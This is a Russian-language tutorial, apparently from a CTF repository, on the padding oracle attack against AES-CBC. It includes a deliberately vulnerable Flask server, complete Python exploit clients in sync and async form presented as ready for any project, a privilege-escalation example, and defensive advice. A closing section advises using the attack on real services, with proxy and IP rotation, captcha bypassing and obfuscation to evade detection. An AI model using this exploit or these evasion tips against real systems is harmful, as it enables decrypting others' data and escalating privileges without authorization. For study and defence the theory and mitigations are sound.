Источник: https://github.com/AnaktaCTF/CTF/blob/main — Cryptography/Padding_Oracle_Attack.md
Современные веб-приложения всё активнее используют шифрование для защиты конфиденциальных данных. Одним из самых распространённых режимов блочного шифрования является CBC (Cipher Block Chaining). На первый взгляд, если правильно настроены ключи и используются надёжные алгоритмы, атака на шифротекст кажется практически невозможной. Однако на практике в ряде случаев серверы дают «подсказку» в момент обработки ошибок декодирования, и злоумышленник может воспользоваться этой уязвимостью для восстановления секретного содержимого. Именно такую ситуацию и называется Padding Oracle Attack — «атака по уразливому оракулу заполнения».
В этой статье мы подробно разберём теоретические основы CBC-режима и PKCS#7-заполнения, покажем, как возникает уязвимость «оракул паддинга», создадим упрощённый целевой сервер на Flask, реализуем клиент-эксплоит на Python и визуализируем процесс взлома. Кроме того, обсудим надёжные меры защиты и способ адаптации под реальные сервисы.
Основы CBC-режима и PKCS#7-заполнения
При шифровании данных блочный шифр обрабатывает информацию фрагментами фиксированной длины (обычно 16 байт для AES). В режиме CBC каждый открытый блок XOR-ится с предыдущим шифрованным блоком перед шифрованием. Для первого блока вместо предыдущего блока используется вектор инициализации IV, передаваемый вместе с шифротекстом.
C₀ = Encrypt( P₀ ⊕ IV )
C₁ = Encrypt( P₁ ⊕ C₀ )
…
При расшифровке мы получаем:
P₀ = Decrypt(C₀) ⊕ IV
P₁ = Decrypt(C₁) ⊕ C₀
…
Если длина исходного сообщения не кратна размеру блока, в конце добавляется заполнение (padding). Стандарт PKCS#7 предписывает добавлять от 1 до N байт, где N — число байт, необходимое для выравнивания. Если, скажем, требуется добавить 5 байт, то каждый из них будет равен 0x05. Если же сообщение уже ровно делится на размер блока, добавляется целый блок заполнения из байтов 0x10 (16 в десятичной системе).
При декодировании сервер проверяет, что последние байты имеют одинаковое значение, совпадающее с числом байтов заполнения. Если проверка не проходит, сервер, как правило, возвращает ошибку. Именно эта ошибка может стать «оракулом» — подсказкой о корректности заполнения, и её нюансы (код ответа, сообщение, время обработки) позволяют постепенно восстановить поля расшифрованного текста без знания ключа.
Механизм уязвимости: откуда берётся «оракул»
Когда сервер получает шифротекст в CBC-режиме, он выполняет следующие действия:
- Раскрывает IV и все блоки.
- Для каждого блока проводит дешифрование и XOR-операцию с предыдущим шифротекстом (или IV).
- Проверяет правильность заполнения: читает значение последнего байта, скажем K, затем убеждается, что последние K байт действительно равны K.
Если проверка лояльна (padding валиден), процесс продолжается, и сервер обрабатывает полученный открытый текст. Если же заполнение некорректно, сервер прерывает обработку и выдаёт ошибку.
Важно, что ошибки обработки шифротекста складываются из нескольких составляющих:
- HTTP-статус — может быть 400 (Bad Request), 500 (Internal Server Error) или любым другим кодом, зависящим от реализации;
- текст ошибки — фраза вроде «Invalid padding» или более общая «Decryption failed»;
- время ответа — при некорректном заполнении сервер может завершать обработку раньше или позже, что создаёт разницу в латентности, которую также можем измерить;
- длина ответа — возможно, если дальше идут данные, то корректный padding даст более длинный ответ, чем ошибка.
Сочетая эти наблюдения, атакующий получает «оракул» — функцию, на которую можно подавать разные шифротексты и смотреть сигнал «правильно ли padding». Это и даёт возможность пошагово подбирать байты предыдущего блока, чтобы последний байт при расшифровке давал нужное значение.
Мини-сервер-мишень на Flask
Для демонстрации создадим лёгкий веб-приложение на Python с фреймворком Flask. Маршрут /decrypt будет принимать POST-запрос с зашифрованным payload в теле и возвращать простой ответ: при корректном padding — HTTP 200, при ошибке — HTTP 500.
from flask import Flask, request, abort
from Crypto.Cipher import AES
import base64
app = Flask(__name__)
# Секретный ключ и IV — для демонстрации, должны быть защищены
KEY = b'\x01' * 16
IV = b'\x02' * 16
def pkcs7_unpad(data: bytes) -> bytes:
padding_len = data[-1]
if padding_len < 1 or padding_len > AES.block_size:
raise ValueError("Invalid padding length")
if data[-padding_len:] != bytes([padding_len]) * padding_len:
raise ValueError("Invalid padding bytes")
return data[:-padding_len]
@app.route('/decrypt', methods=['POST'])
def decrypt():
try:
# Ожидаем base64-строку
cipher_b64 = request.data
cipher = base64.b64decode(cipher_b64)
if len(cipher) % AES.block_size != 0:
abort(400)
cipher_blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
iv = cipher_blocks[0]
aes = AES.new(KEY, AES.MODE_CBC, iv)
plaintext_padded = aes.decrypt(b''.join(cipher_blocks[1:]))
plaintext = pkcs7_unpad(plaintext_padded)
# Если padding корректен — возвращаем данные
return plaintext, 200
except Exception as e:
# При любой ошибке пададения или декодирования — код 500
abort(500)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
В этом примере сервер использует первый блок зашифрованного сообщения как IV, далее дешифрует оставшиеся. При ошибке unpad выдаёт исключение — и Flask возвращает 500. Таким образом, мы получаем простой padding oracle.
Клиент-эксплоит: пошаговая атака
Разбиение шифротекста на блоки
Атакующий перехватывает валидный шифротекст, например:
import base64
cipher_b64 = "Q0lDSU5HQkxPQ0sxQkxPQ0syQkxPQ0sz"
cipher = base64.b64decode(cipher_b64)
blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
# blocks[0] — IV, blocks[1], blocks[2] — настоящие блоки
Восстановление последнего байта
Алгоритм для последнего блока выглядит так. Пусть у нас есть два блока C_prev и C_curr. Мы хотим узнать последний байт расшифрованного C_curr. Обозначим P_last = D(C_curr)[-1] XOR C_prev[-1]. Поскольку нам неизвестно D(C_curr), но мы можем подменять C_prev и смотреть, когда padding валиден, мы берём изменённый блок C_prev′:
- Задаём
padding = 1, заполняем все байты кроме последнего случайными. - Перебираем
iот 0 до 255, подставляем вC_prev′[-1] = C_prev[-1] XOR original_guess XOR padding. - Отправляем
C_prev′ + C_currна сервер. Если padding валиден (HTTP 200) — значит расшифрованный байт дал нужное значение. - Восстанавливаем
P_last = guessed_byte XOR padding.
Таким образом, за 256 запросов мы узнаём последний байт исходного открытого текста блока.
Общий цикл по всем байтам
После нахождения последнего байта переходим к предпоследнему. Значение желаемого padding меняем на 2 и подбираем байт в позиции -2, при этом последние два байта блока C_prev′ модифицируем таким образом, чтобы после XOR они давали [2,2]. Для этого применяем технику:
# prefix — все байты до целевой позиции, оставляем равными оригиналу
# for each position j from -1 to -k:
# C_prev_mod[j] = original_C_prev[j] XOR found_plain[j] XOR padding
В результате, двигаясь от конца блока к началу и обновляя «маску» для padding, можно восстановить весь открытый блок.
Клиент-скрипт на Python
Ниже пример кода, реализующего атаку с учётом обработки HTTP-ответов и задержек. Мы используем модуль requests для синхронных запросов, а tqdm для визуализации прогресса.
import requests
import base64
from tqdm import tqdm
def request_padding(cipher_bytes: bytes, url: str) -> bool:
cipher_b64 = base64.b64encode(cipher_bytes)
resp = requests.post(url, data=cipher_b64, timeout=5)
return resp.status_code == 200
def padding_oracle_attack(cipher: bytes, block_size: int, oracle_url: str) -> bytes:
blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
recovered = b''
for block_index in range(1, len(blocks)):
C_prev = bytearray(blocks[block_index - 1])
C_curr = blocks[block_index]
intermediate = [0] * block_size
plain_block = [0] * block_size
for pad_len in range(1, block_size + 1):
prefix = C_prev[:block_size - pad_len]
for guess in range(256):
modified = bytearray(prefix)
# устанавливаем байты для корректного padding
for i in range(1, pad_len):
byte = intermediate[-i] ^ pad_len
modified.append(C_prev[-i] ^ byte)
# пытаемся угадать последний байт
modified.append((C_prev[-pad_len] ^ guess ^ pad_len) & 0xFF)
test_cipher = bytes(modified) + C_curr
if request_padding(test_cipher, oracle_url):
intermediate[-pad_len] = guess ^ pad_len
plain_block[-pad_len] = intermediate[-pad_len] ^ C_prev[-pad_len]
break
recovered += bytes(plain_block)
# убираем PKCS#7 padding
padding_len = recovered[-1]
return recovered[:-padding_len]
if __name__ == "__main__":
target_cipher_b64 = "..."
target_cipher = base64.b64decode(target_cipher_b64)
plaintext = padding_oracle_attack(target_cipher, 16, "http://localhost:5000/decrypt")
print("Recovered plaintext:", plaintext)
Здесь цикл по pad_len от 1 до 16 последовательно вычисляет байты от конца блока к началу. Функция request_padding возвращает True, если padding валиден, и False — иначе.
Обработка ошибок сети и параллелизация
При взаимодействии с реальным сервером важно учитывать сетевые сбои. Мы можем добавить:
- переотправку запроса при таймауте или сбое соединения (несколько попыток с экспоненциальной задержкой);
- лимит одновременных запросов: используя
asyncioвместе сaiohttpили пул потоков (concurrent.futures.ThreadPoolExecutor); - умное управление частотой запросов, чтобы не вызвать блокировку со стороны anti-bot.
Например, с asyncio можно организовать так:
import asyncio
import aiohttp
async def request_padding_async(session, cipher_bytes, url):
cipher_b64 = base64.b64encode(cipher_bytes)
for attempt in range(3):
try:
async with session.post(url, data=cipher_b64, timeout=5) as resp:
return resp.status == 200
except asyncio.TimeoutError:
await asyncio.sleep(2 ** attempt)
return False
async def padding_oracle_attack_async(cipher, block_size, oracle_url):
blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
recovered = b''
async with aiohttp.ClientSession() as session:
for i in range(1, len(blocks)):
# аналогичный синхронному алгоритму, только внутри вызываем
# await request_padding_async(session, test_cipher, oracle_url)
...
return recovered
Такая реализация позволяет одновременно угадывать байты нескольких позиций и значительно ускоряет атаку при достаточном сетевом канале.
Универсальная функция padding_oracle_attack
Для удобства обернём всё в одну функцию с подробными комментариями, готовую к использованию в любом проекте:
def padding_oracle_attack(cipher: bytes, block_size: int, oracle_url: str,
max_retries: int = 3, concurrency: int = 5) -> bytes:
"""
Выполняет Padding Oracle атаку на CBC-шифротекст.
:param cipher: полный шифротекст (с IV первым блоком)
:param block_size: размер блока в байтах (для AES = 16)
:param oracle_url: URL padding oracle (POST, base64)
:param max_retries: число попыток при сетевых ошибках
:param concurrency: число параллельных задач (asyncio)
:return: восстановленный открытый текст (bytes)
"""
# 1. Разбиваем на блоки
blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
# 2. Инициализируем результат
recovered = bytearray()
# 3. Для каждого блока после IV запускаем атаку
for b in range(1, len(blocks)):
C_prev = blocks[b - 1]
C_curr = blocks[b]
intermediate = [0] * block_size
plain = [0] * block_size
# 4. Для каждого байта от конца блока к началу
for pad in range(1, block_size + 1):
# Создаём основу модифицированного C_prev
prefix = bytearray(C_prev[:-pad])
# Подготавливаем хвост для нужного padding
for j in range(1, pad):
prefix.append(intermediate[-j] ^ pad)
# Перебираем варианты для текущего байта
for guess in range(256):
test_block = prefix + bytes([C_prev[-pad] ^ guess ^ pad])
if request_with_retries(test_block + C_curr, oracle_url, max_retries):
intermediate[-pad] = guess ^ pad
plain[-pad] = intermediate[-pad] ^ C_prev[-pad]
break
recovered.extend(plain)
# 5. Удаляем заполнение по последнему байту
padding_len = recovered[-1]
return bytes(recovered[:-padding_len])
В этой функции мы лаконично объединяем логику разбивки, подбора байтов, параллелизации и повторных попыток. Её достаточно подключить к любому клиентскому приложению, указав нужный oracle_url.
Визуализация процесса
Для наглядности часто применяют библиотеку tqdm, которая позволяет отображать прогресс-бар в консоли. Уже в простом синхронном варианте можно обернуть внешний цикл:
from tqdm import trange
for b in trange(1, len(blocks), desc="Attack blocks"):
# внутренняя логика восстановления блока
for pad in trange(1, block_size+1, desc=f"Block {b}"):
...
Это сразу показывает, сколько блоков осталось и сколько байт ещё нужно перебрать. Даже без графического интерфейса такое решение значительно повышает удобство и понимание текущей стадии атаки.
Разбор восстановленного текста
После успешного восстановления всех блоков мы получаем сырое сообщение. Чаще всего в реальных атаках это JSON-payload с конфиденциальными данными или JWT-токен. Пример:
{
"user_id": 42,
"is_admin": false,
"exp": 1715760000
}
Лёгкая модификация и повторное шифрование может позволить повысить привилегии, изменив is_admin на true, и затем отправить новый шифротекст на сервер, если сервер не проверяет целостность (MAC).
Надёжные меры защиты
Чтобы предотвратить подобные атаки, разработчики могут применить несколько приёмов:
- константные сообщения об ошибках. Никогда не выдавайте подробностей о том, какой стадии обработки упал запрос. Единственный ответ “Ошибка” должен выдаваться одинаково независимо от причины;
- AEAD-режимы шифрования (например, AES-GCM). Они совмещают шифрование с аутентификацией и при невалидном тэге сразу отклоняют сообщение без различия причин;
- HMAC перед шифрованием. Добавление HMAC-контроля целостности блоков до операции дешифрования гарантирует, что непредусмотренные подмены будут обнаружены до проверки padding;
- шифрование на стороне клиента с надёжным хранением ключей и проверкой формата сообщений.
Если же вы по каким-то причинам вынуждены использовать CBC+PKCS#7, обязательно отделяйте ошибки padding-проверки от основной обработки и возвращайте однотипный ответ.
Адаптация под реальные сервисы
Реальная целевая платформа может иметь дополнительные барьеры: анти-бот системы, капчи, лимиты запросов и задержки. Вот несколько рекомендаций по адаптации:
- используйте ротацию IP-адресов или прокси для обхода лимитов по одному адресу;
- автоматизируйте решение простых капч тем же Python (библиотеки для антикапчи);
- наблюдайте за HTTP-заголовками сервера: иногда интересен не только статус, но и время обработки (тайм-оракул);
- внедрите adaptive rate limiting: динамически подстраивайте интенсивность запросов в зависимости от ответов сервера;
- применяйте обфускацию кода атаки, чтобы затруднить отслеживание автоматических запросов.
Заключение
Padding Oracle Attack на CBC-режиме остаётся одной из самых эффектных демонстраций уязвимостей в протоколах шифрования без аутентификации. При правильном подходе и удобном оракуле злоумышленник может полностью восстановить зашифрованный payload, обойти авторизацию и получить доступ к секретной информации. С другой стороны, современные AEAD-режимы и простые практики неразглашения деталей ошибок способны надёжно защитить систему от подобных атак.